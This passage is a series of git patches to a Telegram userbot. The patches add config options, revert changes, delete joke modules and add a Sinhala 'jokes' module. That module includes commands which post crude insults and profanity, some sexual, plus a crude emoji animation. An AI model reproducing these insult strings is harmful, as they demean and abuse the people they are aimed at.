<70461117+InukaAsith@users.noreply.github.com> Date: Wed, 30 Dec 2020 11:56:09 +0530 Subject: [PATCH 282/838] Update seotools.py --- fridaybot/modules/seotools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/seotools.py b/fridaybot/modules/seotools.py index 6c5892d8..7901bb3f 100644 --- a/fridaybot/modules/seotools.py +++ b/fridaybot/modules/seotools.py @@ -28,7 +28,7 @@ async def _(event): com = "rm seo.html" os.system(com) await event.delete() - else: + except: await event.edit("Make Sure The Given Website URL is valid.") com = "rm seo.html" os.system(com) From 626b69bdb49f78f047cfb306add56e7f983c7adb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 10:25:21 +0530 Subject: [PATCH 283/838] Now you can Change the alive text --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 764dcdce..a2472ee0 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -10,6 +10,7 @@ class Config(object): LOGGER = True # Get this value from my.telegram.org! Please do not steal LOCATION = os.environ.get("LOCATION", None) + ALIVE_TEXT = os.environ.get("ALIVE_TEXT", None) OPEN_WEATHER_MAP_APPID = os.environ.get("OPEN_WEATHER_MAP_APPID", None) # Get your own ACCESS_KEY from http://api.screenshotlayer.com/api/capture SCREEN_SHOT_LAYER_ACCESS_KEY = os.environ.get( From bbcd0072d2a14a10d4499f3f4708d14c5154444f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 10:28:52 +0530 Subject: [PATCH 284/838] You can set a custom alive text now (only for PRO's) --- fridaybot/modules/alive.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 71ea7823..9684ff5a 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -44,7 +44,7 @@ def get_readable_time(seconds: int) -> str: pm_caption = "➥ **I'm:** `ONLINE`\n\n" pm_caption += "➥ **SYSTEMS STATS**\n" pm_caption += "➥ **Telethon Version:** `1.15.0` \n" -pm_caption += "➥ **Python:** `3.7.4` \n" +pm_caption += "➥ **Python:** `3.9.4` \n" pm_caption += f"➥ **Uptime** : `{uptime}` \n" pm_caption += "➥ **Database Status:** `Functional`\n" pm_caption += "➥ **Current Branch** : `master`\n" @@ -62,6 +62,12 @@ def get_readable_time(seconds: int) -> str: async def friday(alive): await alive.get_chat() """ For .alive command, check if the bot is running. """ + if Config.ALIVE_TEXT is None: + pass + else: + pm_caption=Config.ALIVE_TEXT + + await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) await alive.delete() From 0937c70aa7a72cb1cce6c6c120c21d99f6176e7f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 10:47:45 +0530 Subject: [PATCH 285/838] Update alive.py --- fridaybot/modules/alive.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 9684ff5a..71ea7823 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -44,7 +44,7 @@ def get_readable_time(seconds: int) -> str: pm_caption = "➥ **I'm:** `ONLINE`\n\n" pm_caption += "➥ **SYSTEMS STATS**\n" pm_caption += "➥ **Telethon Version:** `1.15.0` \n" -pm_caption += "➥ **Python:** `3.9.4` \n" +pm_caption += "➥ **Python:** `3.7.4` \n" pm_caption += f"➥ **Uptime** : `{uptime}` \n" pm_caption += "➥ **Database Status:** `Functional`\n" pm_caption += "➥ **Current Branch** : `master`\n" @@ -62,12 +62,6 @@ def get_readable_time(seconds: int) -> str: async def friday(alive): await alive.get_chat() """ For .alive command, check if the bot is running. """ - if Config.ALIVE_TEXT is None: - pass - else: - pm_caption=Config.ALIVE_TEXT - - await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) await alive.delete() From 3a4471df28677dea72bcee5cab58655cc7c0c646 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:02:34 +0530 Subject: [PATCH 286/838] #DEAD --- fridaybot/modules/call.py | 65 --------------------------------------- 1 file changed, 65 deletions(-) delete mode 100644 fridaybot/modules/call.py diff --git a/fridaybot/modules/call.py b/fridaybot/modules/call.py deleted file mode 100644 index a2f87ddc..00000000 --- a/fridaybot/modules/call.py +++ /dev/null @@ -1,65 +0,0 @@ -"""Emoji - -Available Commands: - -.emoji shrug - -.emoji apple - -.emoji :/ - -.emoji -_-""" - -from telethon import events - -import asyncio -from ..utils import admin_cmd - - - - -@borg.on(admin_cmd(pattern=r"call")) - -async def _(event): - - if event.fwd_from: - - return - - animation_interval = 3 - - animation_ttl = range(0, 18) - - # input_str = event.pattern_match.group(1) - - # if input_str == "call": - - await event.edit("Calling") - - animation_chars = [ - - "`Connecting To Telegram Headquarters...`", - "`Call Connected.`", - "`Telegram: Hello This is Telegram HQ. Who is this?`", - "`Me: Yo this is` @[DARK_COBRA_SUPPORT](t.me/Dark_cobra_support) ,`Please Connect me to my idiot bro,Ayush Durov`", - "`User Authorised.`", - "`Calling Pavel Durov` `At +916969696969`", - "`Private Call Connected...`", - "`Me: Hello Sir, Please Ban This Telegram Account.`", - "`Pavel: May I Know Who Is This?`", - "`Me: Yo Brah, itz me` ", - "`Pavel: OMG!!! Long time no see, Wassup Brother...\nI'll Make Sure That Guy Account Will Get Banned Within 24Hrs.`", - "`Me: Thanks, See You Later Brah.`", - "`Pavel: Please Don't Thank Brah, Telegram Is Our's. Just Gimme A Call When You Become Free.`", - "`Me: Is There Any Issue/Emergency???`", - "`Pavel: Yes Sir, There Is A Bug In Telegram v69.6.9.\nI Am Not Able To Fix It. If Possible, Please Help Fix The Bug.`", - "`Me: Send Me The App On My Telegram Account, I Will Fix The Bug & Send You.`", - "`Pavel: Sure Sur \nTC Bye Bye ;)`", - "`Private Call Disconnected.`" - ] - - for i in animation_ttl: - - await asyncio.sleep(animation_interval) - - await event.edit(animation_chars[i % 18]) From 66e6584ce107862c63a86495b91e6e34c91dc082 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:03:13 +0530 Subject: [PATCH 287/838] #DEAD --- fridaybot/modules/fk.py | 10 ---------- 1 file changed, 10 deletions(-) delete mode 100644 fridaybot/modules/fk.py diff --git a/fridaybot/modules/fk.py b/fridaybot/modules/fk.py deleted file mode 100644 index c56a5e3c..00000000 --- a/fridaybot/modules/fk.py +++ /dev/null @@ -1,10 +0,0 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - - -@bot.on(admin_cmd(pattern="fk$")) -@bot.on(sudo_cmd(pattern="fk$", allow_sudo=True)) -async def gn(event): - await edit_or_reply( - event, - "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", - ) From 1b14733f6667be857d26d77463639e7fc0623e74 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:03:42 +0530 Subject: [PATCH 288/838] #DEAD --- fridaybot/modules/hu.py | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 fridaybot/modules/hu.py diff --git a/fridaybot/modules/hu.py b/fridaybot/modules/hu.py deleted file mode 100644 index d5979c24..00000000 --- a/fridaybot/modules/hu.py +++ /dev/null @@ -1,11 +0,0 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - - -@bot.on(admin_cmd(pattern="hu$")) -@bot.on(sudo_cmd(pattern="hu$", allow_sudo=True)) -async def gn(event): - await edit_or_reply( - event, - "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි! **", - ) - From 7147b43644c870efca8eacfe0a3b1436042b3f7d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:16:33 +0530 Subject: [PATCH 289/838] =?UTF-8?q?SL=20=F0=9F=87=B1=F0=9F=87=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fridaybot/modules/art.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/art.py b/fridaybot/modules/art.py index 6191c1c5..28af0707 100644 --- a/fridaybot/modules/art.py +++ b/fridaybot/modules/art.py @@ -2,7 +2,7 @@ from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import ALIVE_NAME, CMD_HELP -DEF = str(ALIVE_NAME) if ALIVE_NAME else "cat" +DEF = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" @bot.on(admin_cmd(pattern="ded (.*)")) @@ -171,15 +171,17 @@ async def kakashi(killer): "⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿\n" "⣿⡿⠋⠋⠀⠀⠀⠀⠀⠀⠈⠙⠻⢿⢿⣿⣿⡿⣿⣿⡟⠋⠀⢀⣩\n" "⣿⣿⡄⠀⠀⠀⠀⠀⠁⡀⠀⠀⠀⠀⠈⠉⠛⢷⣭⠉⠁⠀⠀⣿⣿\n" - "⣇⣀. INDIA🇮🇳INDIA🇮🇳⠆⠠..⠘⢷⣿⣿⣛⠐⣶⣿⣿\n" + "⣇⣀.🇱🇰 SRI LANKA 🇱🇰⠆⠠..⠘⢷⣿⣿⣛⠐⣶⣿⣿\n" "⣿⣄⠀⣰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢀⣠⣿⣿⣿⣾⣿⣿⣿\n" "⣿⣿⣿⣿⠀⠀⠀⠀⡠⠀⠀⠀⠀⠀⢀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠄⠀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⣠⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⣿⠀⠀⠂⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" "⣿⣿⣿⣿⣿⣇⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" - "⣿⣿⣿⣿⣿⣿⡆⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" - "⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⡆⠀⢀⣼⣿⢷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿ ⢒⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" + "⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n" ) K = ( @@ -367,8 +369,8 @@ async def bluedevilsupreme(supreme): await edit_or_reply(supreme, I) -@bot.on(admin_cmd(pattern=r"india$")) -@bot.on(sudo_cmd(pattern="india$", allow_sudo=True)) +@bot.on(admin_cmd(pattern=r"srilanka$")) +@bot.on(sudo_cmd(pattern="srilanka$", allow_sudo=True)) async def bluedevilindia(india): await edit_or_reply(india, J) @@ -418,7 +420,7 @@ async def bluedevildislike(dislike): • `.hmf` • `.couple` • `.sup` - • `.india` + • `.srilanka` • `.wc` • `.snk` • `.bye` From 532c48f9c628044386cf96891a5c037a744bbe3f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:28:41 +0530 Subject: [PATCH 290/838] #REBORN --- fridaybot/modules/fuck11.py | 210 ++++++++++++++++++++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 fridaybot/modules/fuck11.py diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py new file mode 100644 index 00000000..f5430250 --- /dev/null +++ b/fridaybot/modules/fuck11.py @@ -0,0 +1,210 @@ +""" + +Available Commands: + +.sux + +.fuuk + +.kiss""" + + +import asyncio +import random +from ..utils import admin_cmd, edit_or_reply, sudo_cmd +from fridaybot import CMD_HELP + + +RUNSTRINGS = ( + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "❤ ආදලෙයි 150GB ක්!! ❤", + "ඕයි...! පෙට්ටිය කැඩුවනම් දැන් ලමය බාරගනින්!!", + "තමුසෙ පිස්සෙක්නෙ ඕයි!", + "මොනාද හුත්තෝ බලන්නේ...??", + "කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!!", + "හායි!! කෝමද පැටියෝ ❣❣", + "මැරිලත් පැය හතරක් ආදරෙයි.. අම්මපා", + "ටෞකන්ඩ මූ යකෝ!!", + "ඔයා අදත් මට අර යෝගට් පානය දෙනවද...?", + "චූ කරල නිදාගනින් අයියේ...", + "ඔයා හරි සෝයි අනේ.. සෝ කියුට්... 😋", + "අපි දෙන්න පැනල යමු.. හාද?? . ", + "පල යන්න වේසාවෝ!!", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "අඩ්ඩේහ්..! මේ මොකද කරන්නේ??", + "පොඩිකාලෙ බිව්වෙ පොල්කිරිද මල්ලී 🤑", + "සීනි කන්න ආපු කූඹියො නෙමෙයි සීනි බෝතලේ ඇරපු ඔයයි වැරදි..", + "කවුරු කොහොම් කිව්වත් \nකොත්තු කෑවොත් බඩ යන එක යනවමයි!", + "ආදරෙයි.. මැණික ❤❤", + "❤ ආදලෙයි 250GB ක්!! ❤", + "හදුන්වාදෙන වැඩි දිගකින් යුත් fens.. \nභාවිත කර බලා වෙනස හඳුනාගන්න!", + "ඔයාට suprise එකක් තියෙයි.. /kickme කියල ගහල බලන්නකෝ 😂", + "ට්‍රැක්ටරය පැදවීමට මාගේ ඡායාරූප භාවිත කිරීමෙන් වලකින්න ", + "ඔයාට suprise එකක් තියෙයි.. /kickme කියල ගහල බලන්නකෝ 😂", + "මූ හුත්තෝ..", + "මොන හුයන්නක්ද මේ", + "පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල", + "ටොයිලට් එකේ ඉද්දි හෙඩ්සෙට් එක ගහන් සින්දු අහන්න එපා ඕයි...", + "බලු කූඩුව ඇරියෙ මොකාද යකෝ!!", + "බය තරහ ඇති කරවයි. තරහ වයිරය උපදවයි. වරිරය පසුතැවීම ඇති කරයි. ඔබ බයෙන් ජීවත්වන තුරු ලංකාවේ බඩු මිල පහත නොයයි", + "රට්ටු හිනස්සන්න එපා මල්ලී.", + "හදිසි අවස්තාවකදී ගිලන්රථයක් ගෙන්වා ගැනීමට 1990 අමතන්න", + "අපේ ගෲප් එකත් එක්ක අදම සෙට් වෙන්න t.me/InfinityJE ❤", + "ඔයාට කොච්චර සල්ලි තිබුනත් කොච්චර බලය තිබුනත් කොත්තු කෑවොත් බඩ යන එක නවත්තන්න ඔයාට බෑ 🌮🌮.", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "ටෞකන්ඩ මූ යකෝ!!!", + "කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!", + "පොඩිකාලෙ බිව්වෙ පොල්කිරිද මල්ලී 🤑", + "කවුරු කොහොම් කිව්වත් \nකොත්තු කෑවොත් බඩ යන එක යනවමයි!", + "රට්ටු හිනස්සන්න එපා මල්ලී.", + "ආදරෙයි.. මැණික ❤❤", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + + ) + + + +@bot.on(admin_cmd(pattern=r"\.(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.1 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "fuk": + + await event.edit(input_str) + + animation_chars = ["👉 ✊️", "👉 ✊️", "👉 ✊️", "👉✊️💦"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +@bot.on(admin_cmd(pattern=r"(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "sux": + + await event.edit(input_str) + + animation_chars = ["🤵 👰", "🤵 👰", "🤵 👰", "🤵👼👰"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +"" + + +@bot.on(admin_cmd(pattern=r"(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "kiss": + + await event.edit(input_str) + + animation_chars = ["🤵 👰", "🤵 👰", "🤵 👰", "🤵💋👰"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +@bot.on(admin_cmd(pattern="kp$")) +@bot.on(sudo_cmd(pattern="kp$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** කැරි පකයා **", + ) + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + + +@bot.on(admin_cmd(pattern="slo$")) +@bot.on(sudo_cmd(pattern="slo$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල😎 **", + ) + +@bot.on(admin_cmd(pattern="hp$")) +@bot.on(sudo_cmd(pattern="hp$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** හුත්තිගෙ පුතා **", + ) + + +@bot.on(admin_cmd(pattern="hu$")) +@bot.on(sudo_cmd(pattern="hu$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!😂😂**", + ) + +@bot.on(admin_cmd(pattern="sm$")) +@bot.on(sudo_cmd(pattern="sm$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** එහෙම එවා නෑ පුතා..😍 ඒ සෙලවෙන මනස **", + ) + + + +@bot.on(admin_cmd(pattern="fk$")) +@bot.on(sudo_cmd(pattern="fk$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", + ) + + +@bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) +@bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) +async def runstrings(event): + txt = random.choice(RUNSTRINGS) + await edit_or_reply(event, txt) + + +CMD_HELP.update({"Sinhala Jokes": "*RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි\n\n*"}) From f24c9a2f2c88d20f5e1af03f5ca97baca1377708 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:33:35 +0530 Subject: [PATCH 291/838] =?UTF-8?q?#=E0=B6=BB=E0=B7=93=E0=B6=B6=E0=B7=9D?= =?UTF-8?q?=E0=B6=BB=E0=B7=8A=E0=B6=B1=E0=B7=8A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index f5430250..0ad5062c 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala Jokes": "*RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි\n\n*"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි\n\n"}) From df6bc3bfdeba5c4099a94fdc7a241a66830521f7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:40:23 +0530 Subject: [PATCH 292/838] #RebornAGAIN --- fridaybot/modules/fuck11.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 0ad5062c..262327d3 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -77,7 +77,7 @@ async def _(event): input_str = event.pattern_match.group(1) - if input_str == "fuk": + if input_str == "fuuk": await event.edit(input_str) @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි\n\n"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) From b7f4a313e24f683457634f1d74020c2af174b1c1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:42:26 +0530 Subject: [PATCH 293/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 262327d3..05290191 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) From 794f5164a250a91ec07851d6dd6c3bf0a07a842f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:43:41 +0530 Subject: [PATCH 294/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 05290191..d9086727 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) From ec53abcb98c589d51723bbf1748910e0acebb8f4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:48:19 +0530 Subject: [PATCH 295/838] Update fuck11.py --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index d9086727..1da22c86 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala_Jokes": 